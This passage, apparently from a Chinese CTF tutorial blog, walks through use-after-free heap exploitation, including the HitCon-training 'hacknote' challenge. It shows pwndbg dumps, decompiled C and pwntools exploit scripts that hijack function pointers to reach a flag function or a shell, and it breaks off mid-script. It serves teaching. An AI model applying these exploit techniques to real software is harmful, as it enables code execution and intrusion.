0x7fffffffdfe0 —▸ 0x613e70 —▸ 0x600dc8 —▸ 0x400918 (B::print()) ◂— push   rbp</span><br><span class="line">01:0008│      0x7fffffffdfe8 —▸ 0x400760 (_start) ◂— xor    ebp, ebp</span><br><span class="line">02:0010│      0x7fffffffdff0 —▸ 0x7fffffffe0e0 ◂— 0x1</span><br><span class="line">03:0018│      0x7fffffffdff8 ◂— 0x0</span><br><span class="line">04:0020│ rbp  0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push   r15</span><br><span class="line">05:0028│      0x7fffffffe008 —▸ 0x7ffff767cb97 (__libc_start_main+231) ◂— mov    edi, eax</span><br><span class="line">06:0030│      0x7fffffffe010 ◂— 0xffffffffffffff90</span><br><span class="line">07:0038│      0x7fffffffe018 —▸ 0x7fffffffe0e8 —▸ 0x7fffffffe412 ◂— 0x73782f656d6f682f ('/home/xs')</span><br><span class="line">───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────────────────────</span><br><span class="line"> ► f 0           4008a1 main+71</span><br><span class="line">   f 1     7ffff767cb97 __libc_start_main+231</span><br></pre></td></tr></table></figure><p>我们查看堆情况</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> heap p</span></span><br><span class="line">0x613e70 &#123;</span><br><span class="line">  mchunk_prev_size = 6294984, </span><br><span class="line">  mchunk_size = 0, </span><br><span class="line">  fd = 0x0, </span><br><span class="line">  bk = 0xf181, </span><br><span class="line">  fd_nextsize = 0x0, </span><br><span class="line">  bk_nextsize = 0x0</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>根据p我们查看一下chunk指向的内容</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x613e70-16</span></span><br><span class="line">0x613e60:0x00000000000000000x0000000000000021</span><br><span class="line">0x613e70:0x0000000000600dc80x0000000000000000</span><br><span class="line">0x613e80:0x00000000000000000x000000000000f181</span><br><span class="line">0x613e90:0x00000000000000000x0000000000000000</span><br><span class="line">0x613ea0:0x00000000000000000x0000000000000000</span><br><span class="line">0x613eb0:0x00000000000000000x0000000000000000</span><br><span class="line">0x613ec0:0x00000000000000000x0000000000000000</span><br><span class="line">0x613ed0:0x00000000000000000x0000000000000000</span><br><span class="line">0x613ee0:0x00000000000000000x0000000000000000</span><br><span class="line">0x613ef0:0x00000000000000000x0000000000000000</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/10gx 0x0000000000600dc8</span></span><br><span class="line">0x600dc8 &lt;_ZTV1B+16&gt;:0x00000000004009180x0000000000000000</span><br><span class="line">0x600dd8 &lt;_ZTV1A+8&gt;:0x0000000000600e000x00000000004008fc</span><br><span class="line">0x600de8 &lt;_ZTI1B&gt;:0x00007ffff7dc74380x0000000000400a17</span><br><span class="line">0x600df8 &lt;_ZTI1B+16&gt;:0x0000000000600e000x00007ffff7dc67f8</span><br><span class="line">0x600e08 &lt;_ZTI1A+8&gt;:0x0000000000400a1a0x0000000000000001</span><br><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/10gx 0x0000000000400918</span></span><br><span class="line">0x400918 &lt;B::print()&gt;:0x10ec8348e58948550xe13d8d48f87d8948</span><br><span class="line">0x400928 &lt;B::print()+16&gt;:0xfffffe00e80000000xe589485590c3c990</span><br><span class="line">0x400938 &lt;A::A()+4&gt;:0x9d158d48f87d89480x48f8458b48002004</span><br><span class="line">0x400948 &lt;A::A()+20&gt;:0x485590c35d9010890x894810ec8348e589</span><br><span class="line">0x400958 &lt;B::B()+10&gt;:0x8948f8458b48f87d0x8d48ffffffcee8c7</span><br></pre></td></tr></table></figure><p>可以看到最终指向的地址是B中的print()函数，我们继续单步直到p-&gt;print()处，也就是漏洞触发之后，再次查看此内存</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/10gx 0x613e70-16</span></span><br><span class="line">0x613e60:0x00000000000000000x0000000000000021</span><br><span class="line">0x613e70:0x66656562646165640x000000000000000a</span><br><span class="line">0x613e80:0x00000000000000000x0000000000000411</span><br><span class="line">0x613e90:0x66656562646165640x000000000000000a</span><br><span class="line">0x613ea0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>可以看到0x613e70处内容已经修改为我们写入的deadbeef，我们查看一下汇编</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> disassemble /m main</span></span><br><span class="line">Dump of assembler code for function main():</span><br><span class="line">...</span><br><span class="line">38    p-&gt;print();     //继续使用p，触发漏洞，程序会报错</span><br><span class="line">=&gt; 0x00000000004008dd &lt;+131&gt;:mov    rax,QWORD PTR [rbp-0x20]</span><br><span class="line">   0x00000000004008e1 &lt;+135&gt;:mov    rax,QWORD PTR [rax]</span><br><span class="line">   0x00000000004008e4 &lt;+138&gt;:mov    rax,QWORD PTR [rax]</span><br><span class="line">   0x00000000004008e7 &lt;+141&gt;:mov    rdx,QWORD PTR [rbp-0x20]</span><br><span class="line">   0x00000000004008eb &lt;+145&gt;:mov    rdi,rdx</span><br><span class="line">   0x00000000004008ee &lt;+148&gt;:call   rax</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>我们查看寄存器信息</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">─────────────────────────────────[ REGISTERS ]──────────────────────────────────</span><br><span class="line"> RAX  0x613e70 ◂— 'deadbeef\n'</span><br><span class="line"> RBX  0x613e70 ◂— 'deadbeef\n'</span><br><span class="line"> RCX  0xa666565626461</span><br><span class="line"> RDX  0xa</span><br><span class="line"> RDI  0x613e70 ◂— 'deadbeef\n'</span><br><span class="line"> RSI  0x6665656264616564 ('deadbeef')</span><br><span class="line"> R8   0x613e99 ◂— 0x0</span><br><span class="line"> R9   0x7ffff7fd7d80 ◂— 0x7ffff7fd7d80</span><br><span class="line"> R10  0x6</span><br><span class="line"> R11  0x7ffff76f89a0 (strdup) ◂— push   rbp</span><br><span class="line"> R12  0x400760 (_start) ◂— xor    ebp, ebp</span><br><span class="line"> R13  0x7fffffffe0e0 ◂— 0x1</span><br><span class="line"> R14  0x0</span><br><span class="line"> R15  0x0</span><br><span class="line"> RBP  0x7fffffffe000 —▸ 0x400980 (__libc_csu_init) ◂— push   r15</span><br><span class="line"> RSP  0x7fffffffdfe0 —▸ 0x613e70 ◂— 'deadbeef\n'</span><br><span class="line"> RIP  0x4008dd (main+131) ◂— mov    rax, qword ptr [rbp - 0x20]</span><br></pre></td></tr></table></figure><p>我们发现RAX的内容就是我们输入的信息，结合汇编代码可以发现，最终的call rax这句代码将执行的我们输入的数据所指的地址的代码，也就是我们可以通过输入来getshell,我们通过IDA找到函数的地址</p><p>exp:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">p = process(<span class="string">'./UAF'</span>)</span><br><span class="line">buf_addr = <span class="number">0x00601080</span></span><br><span class="line">sh_addr = <span class="number">0x0400847</span></span><br><span class="line">p.sendline(p64(buf_addr+<span class="number">8</span>) + p64(sh_addr))</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h3 id="Example-Two"><a href="#Example-Two" class="headerlink" title="Example Two"></a>Example Two</h3><p><strong>题目链接</strong></p><p><a href="https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote" target="_blank" rel="noopener">https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote</a></p><p><strong>解题思路</strong></p><p>首先运行一下程序，可以看到Menu中有一下几个选项：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">----------------------</span><br><span class="line">       HackNote       </span><br><span class="line">----------------------</span><br><span class="line"> 1. Add note          </span><br><span class="line"> 2. Delete note       </span><br><span class="line"> 3. Print note        </span><br><span class="line"> 4. Exit              </span><br><span class="line">----------------------</span><br><span class="line">Your choice :</span><br></pre></td></tr></table></figure><p>我们分别来分析一下各个函数的功能：</p><p><strong>add_note</strong></p><p>可以看出该函数主要就是创建 note ，最多能够创建5个，每个 note 有两个字段 put 与 content，其中 put 会被设置为一个函数，其函数会输出 content 具体的内容。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">add_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  _DWORD *v0; <span class="comment">// ebx</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> i; <span class="comment">// [esp+Ch] [ebp-1Ch]</span></span><br><span class="line">  <span class="keyword">int</span> size; <span class="comment">// [esp+10h] [ebp-18h]</span></span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+14h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v5; <span class="comment">// [esp+1Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( count &lt;= <span class="number">5</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">4</span>; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !notelist[i] )</span><br><span class="line">      &#123;</span><br><span class="line">        notelist[i] = <span class="built_in">malloc</span>(<span class="number">8u</span>);</span><br><span class="line">        <span class="keyword">if</span> ( !notelist[i] )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">"Alloca Error"</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        *(_DWORD *)notelist[i] = print_note_content;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"Note size :"</span>);</span><br><span class="line">        read(<span class="number">0</span>, &amp;buf, <span class="number">8u</span>);</span><br><span class="line">        size = atoi(&amp;buf);</span><br><span class="line">        v0 = notelist[i];</span><br><span class="line">        v0[<span class="number">1</span>] = <span class="built_in">malloc</span>(size);</span><br><span class="line">        <span class="keyword">if</span> ( !*((_DWORD *)notelist[i] + <span class="number">1</span>) )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">"Alloca Error"</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">"Content :"</span>);</span><br><span class="line">        read(<span class="number">0</span>, *((<span class="keyword">void</span> **)notelist[i] + <span class="number">1</span>), size);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">"Success !"</span>);</span><br><span class="line">        ++count;</span><br><span class="line">        <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v5;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Full"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>print_note</strong></p><p>该函数就是输出相应note的内容</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">print_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+8h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"Index :"</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;buf, <span class="number">4u</span>);</span><br><span class="line">  v1 = atoi(&amp;buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt;= count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Out of bound!"</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( notelist[v1] )</span><br><span class="line">    notelist[v1]-&gt;put(notelist[v1]);</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>delete_note</strong></p><p>该函数主要就是删除对应的note，但是在删除的时候只是进行了free而并没有置为NULL，这里就存在UAF漏洞</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">unsigned</span> <span class="keyword">int</span> <span class="title">del_note</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v1; <span class="comment">// [esp+4h] [ebp-14h]</span></span><br><span class="line">  <span class="keyword">char</span> buf; <span class="comment">// [esp+8h] [ebp-10h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> <span class="keyword">int</span> v3; <span class="comment">// [esp+Ch] [ebp-Ch]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readgsdword(<span class="number">0x14</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">"Index :"</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;buf, <span class="number">4u</span>);</span><br><span class="line">  v1 = atoi(&amp;buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &lt; <span class="number">0</span> || v1 &gt;= count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Out of bound!"</span>);</span><br><span class="line">    _exit(<span class="number">0</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> ( notelist[v1] )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">free</span>(notelist[v1]-&gt;content);</span><br><span class="line">    <span class="built_in">free</span>(notelist[v1]);</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">"Success"</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readgsdword(<span class="number">0x14</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们可以在IDA中看到程序有一个叫做magic的函数，它的作用就是 cat flag，所以我们只需要修改 note 的 put 字段为 magic 函数的地址，从而实现在执行 print note 的时候执行 magic 函数。</p><p>因为note是一个fastbin chunk（大小为 16 字节），我们需要将note的put字段修改为magic函数的地址，而fastbin chunk是一个单链表有LIFO的特性，所以我们从申请入手，利用过程如下：</p><ol><li>申请 note0，real content size 为 16（大小不为8即可）</li><li>申请 note1，real content size 为 16（同上）</li><li>释放 note0</li><li>释放 note1</li><li>此时，大小为 16 的 fast bin chunk 中链表为 note1-&gt;note0</li><li>申请 note2，并且设置 real content 的大小为 8，那么根据堆的分配规则 note2 其实会分配 note1 对应的内存块。</li><li>real content 对应的 chunk 其实是 note0。</li><li>如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址，那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候，程序就会调用 magic 函数。</li></ol><p>我们动态调试一下整个过程：</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> heap</span></span><br><span class="line">0x804b000 &#123;</span><br><span class="line">  mchunk_prev_size = 0, </span><br><span class="line">  mchunk_size = 0, </span><br><span class="line">  fd = 0x0, </span><br><span class="line">  bk = 0x151, </span><br><span class="line">  fd_nextsize = 0x0, </span><br><span class="line">  bk_nextsize = 0x0</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到我们的数据已经成功申请</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x804b150</span></span><br><span class="line">0x804b150:    0x00000000000000000x0000001100000000</span><br><span class="line">0x804b160:0x0804b1700804865b0x0000002100000000</span><br><span class="line">0x804b170:0x00000000616161610x0000000000000000</span><br><span class="line">0x804b180:0x00000000000000000x0000001100000000</span><br><span class="line">0x804b190:0x0804b1a00804865b0x0000002100000000</span><br><span class="line">0x804b1a0:0x0000000a616161610x0000000000000000</span><br><span class="line">0x804b1b0:0x00000000000000000x00021e4900000000</span><br><span class="line">0x804b1c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x804b1d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x804b1e0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>删除之后可以再次来看堆的信息可以看到大小为 16 的 fast bin chunk 中链表为 note1-&gt;note0</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> x/20gx 0x804b150</span></span><br><span class="line">0x804b150:    0x00000000000000000x0000001100000000</span><br><span class="line">0x804b160:0x0804b170000000000x0000002100000000</span><br><span class="line">0x804b170:0x00000000000000000x0000000000000000</span><br><span class="line">0x804b180:0x00000000000000000x0000001100000000</span><br><span class="line">0x804b190:0x0804b1a00804b1600x0000002100000000</span><br><span class="line">0x804b1a0:0x0000000a0804b1700x0000000000000000</span><br><span class="line">0x804b1b0:0x00000000000000000x00021e4900000000</span><br><span class="line">0x804b1c0:0x00000000000000000x0000000000000000</span><br><span class="line">0x804b1d0:0x00000000000000000x0000000000000000</span><br><span class="line">0x804b1e0:0x00000000000000000x0000000000000000</span><br></pre></td></tr></table></figure><p>我们重新申请大小为8,内容为aaaa的note再打印note0就会改变eip</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">pwndbg&gt;</span><span class="bash"> c</span></span><br><span class="line">Continuing.</span><br><span class="line">Index :0</span><br><span class="line"></span><br><span class="line">Program received signal SIGSEGV, Segmentation fault.</span><br><span class="line">0x61616161 in ?? ()</span><br><span class="line">LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA</span><br><span class="line">─────────────────────────────────[ REGISTERS ]──────────────────────────────────</span><br><span class="line"> EAX  0x61616161 ('aaaa')</span><br><span class="line"> EBX  0x0</span><br><span class="line"> ECX  0x0</span><br><span class="line"> EDX  0x804b160 ◂— 0x61616161 ('aaaa')</span><br><span class="line"> EDI  0x0</span><br><span class="line"> ESI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c</span><br><span class="line"> EBP  0xffffd188 —▸ 0xffffd1a8 ◂— 0x0</span><br><span class="line"> ESP  0xffffd15c —▸ 0x804896f (print_note+154) ◂— add    esp, 0x10</span><br><span class="line"> EIP  0x61616161 ('aaaa')</span><br><span class="line">───────────────────────────────────[ DISASM ]───────────────────────────────────</span><br><span class="line">Invalid address 0x61616161</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">───────────────────────────────────[ STACK ]────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd15c —▸ 0x804896f (print_note+154) ◂— add    esp, 0x10</span><br><span class="line">01:0004│      0xffffd160 —▸ 0x804b160 ◂— 0x61616161 ('aaaa')</span><br><span class="line">02:0008│      0xffffd164 —▸ 0xffffd178 —▸ 0xf7fa0a30 ◂— add    dword ptr [edx + 0xe], eax</span><br><span class="line">03:000c│      0xffffd168 ◂— 0x4</span><br><span class="line">04:0010│      0xffffd16c —▸ 0x8048a32 (menu+147) ◂— add    esp, 0x10</span><br><span class="line">05:0014│      0xffffd170 —▸ 0x8048c63 ◂— pop    ecx /* 'Your choice :' */</span><br><span class="line">06:0018│      0xffffd174 ◂— 0x0</span><br><span class="line">07:001c│      0xffffd178 —▸ 0xf7fa0a30 ◂— add    dword ptr [edx + 0xe], eax</span><br><span class="line">─────────────────────────────────[ BACKTRACE ]──────────────────────────────────</span><br><span class="line"> ► f 0 61616161</span><br><span class="line">   f 1  804896f print_note+154</span><br><span class="line">   f 2  8048ad3 main+155</span><br><span class="line">   f 3 f7defe81 __libc_start_main+241</span><br><span class="line">Program received signal SIGSEGV (fault address 0x61616161)</span><br></pre></td></tr></table></figure><p>我们只需要将aaaa改为我们magic的地址即可，而magic函数的地址是在IDA中可以看到的，所以我们可以得到下面的代码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line"></span><br><span class="line">r = process(<span class="string">'./hacknote'</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">addnote</span><span class="params">(size,content)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">    r.sendline(<span class="string">"1"</span>)</span><br><span class="line">    r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">    r.sendline(str(size))</span><br><span class="line">    r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">    r.sendline(content)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">delnote</span><span class="params">(idx)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">    r.sendline(<span class="string">"2"</span>)</span><br><span class="line">    r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">    r.sendline(str(idx))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">printnote</span><span class="params">(idx)</span>:</span></span><br><span class="line">    r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">    r.sendline(<span class="string">"3"</span>)</span><br><span class="line">    r.recvuntil(<span class="string">":"</span>)</span><br><span class="line">    r.sendline(str(idx))</span><br><span class="line"></span><br><span class="line">magic_addr = <span class="number">0x8048986</span></span><br><span class="line"></span><br><span class="line">addnote(<span class="number">16</span>,<span class="string">"aaaa"</span>)</span><br><span class="line">addnote(<span class="number">16</span>,<span class="string">"aaaa"</span>)</span><br><span class="line"></span><br><span class="line">delnote(<span class="number">0</span>)</span><br><span class="line">delnote(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">addnote(<span class="number">8</span>,p32(magic_addr))</span><br><span class="line"></span><br><span class="line">printnote(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">r.interactive()</span><br></pre></td></tr></table></figure><p>上面的exp并不能拿到shell，只能获得flag，为了拿到shell我们还需要执行system(‘/bin/sh’)，下面的版本才是getshell的exp</p><p><strong>exp</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 